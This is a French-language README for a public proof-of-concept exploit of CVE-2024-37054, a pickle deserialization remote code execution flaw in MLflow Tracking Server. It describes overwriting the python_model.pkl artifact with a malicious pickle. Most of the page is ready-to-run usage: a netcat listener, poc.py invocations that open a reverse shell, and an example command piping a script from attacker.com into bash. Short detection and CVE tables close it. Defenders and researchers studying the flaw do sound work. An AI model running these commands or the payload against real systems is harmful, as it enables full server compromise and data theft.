
Exploit de preuve de concept pour CVE-2024-37054, une RCE par désérialisation pickle dans MLflow Tracking Server. Automatise l'écrasement d'artefact et la livraison de charge utile pour une exécution de code à distance authentifiée.
Preuve de concept d'exploitation d'une vulnérabilité critique de désérialisation Pickle dans MLflow Tracking Server, permettant l'exécution de code à distance avec authentification.
⚠️ Uniquement à des fins éducatives et de tests de sécurité autorisés. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.
Le serveur de suivi MLflow désérialise les artefacts de modèle via le module pickle de Python lors du chargement des modèles pour l'inférence. Un attaquant authentifié peut écraser l'artefact python_model.pkl dans le dépôt d'artefacts de MLflow avec une charge utile pickle malveillante. Lorsque le modèle est ensuite chargé (par exemple lors d'une requête de prédiction), la charge utile est désérialisée, exécutant du code arbitraire sur le serveur.
Prérequis pour l'exploitation :
Une exploitation réussie permet l'exécution de code à distance au niveau de privilège du processus serveur MLflow, ce qui peut entraîner une compromission totale du système, l'exfiltration de données, un mouvement latéral ou un accès persistant.
python_model.pkl est remplacé par une charge utile pickle fabriquée via PUT /api/2.0/mlflow-artifacts/artifacts/....pickle.load() sur l'artefact compromis.__reduce__ du pickle invoque os.system(), exécutant la commande de l'attaquant.La charge utile utilise os.system() (une primitive C) plutôt que cloudpickle pour maximiser la compatibilité entre versions et éviter les problèmes de bytecode spécifiques à une version de Python.
Prérequis : Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Démarrer un écouteur
nc -lvnp 4444
# Lancer l'exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Identifiants par défaut, reverse shell basique
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Identifiants MLflow personnalisés
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# Connexion application + identifiants MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Commande personnalisée au lieu du reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Cibler une expérience spécifique, augmenter le délai pour les serveurs lents
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Sortie verbeuse
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
PUT vers les points de terminaison /api/2.0/mlflow-artifacts/artifacts/python_model.pklPOST /api/2.0/mlflow/runs/search suivi immédiatement de modifications d'artefactsos.system() inattendus provenant des processus MLflow# Modification d'artefact dans les journaux d'accès
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# Surveillance de l'intégrité des fichiers
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
Immédiates :
À long terme :
Cet outil est destiné uniquement à :
N'utilisez pas cet outil sur un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite de test. L'auteur décline toute responsabilité en cas d'utilisation abusive.
MIT — voir LICENSE pour plus de détails.
| Champ | Valeur |
|---|
| ID CVE | CVE-2024-37054 |
| Score CVSS | 8.8 (ÉLEVÉ) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versions affectées | MLflow < 2.14.3 |
| Version corrigée | MLflow ≥ 2.14.3 |
| Type de vulnérabilité | CWE-502 : Désérialisation de données non fiables |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Faible (identifiants valides) |
| Interaction utilisateur | Aucune |
| Argument | Description |
|---|
target | URL de l'application cible |
mlflow | URL du serveur de suivi MLflow |
lhost | Hôte attaquant pour le callback du reverse shell |
lport | Port attaquant pour le callback du reverse shell |
--mlflow-creds USER:PASS | Identifiants MLflow (par défaut : admin:password) |
--app-username | Nom d'utilisateur pour la connexion à l'application |
--app-password | Mot de passe pour la connexion à l'application |
--app-login-url | Chemin du point de terminaison de connexion |
--upload-url | Chemin du point de terminaison de téléversement |
--predict-url | Chemin du point de terminaison de prédiction |
--experiment-id ID | Cibler un ID d'expérience spécifique |
--delay SECONDS | Délai entre les étapes (par défaut : 2s) |
--cmd COMMAND | Commande personnalisée à exécuter |
--verbose / --quiet | Contrôle de la verbosité |
--no-color | Désactiver la sortie colorée |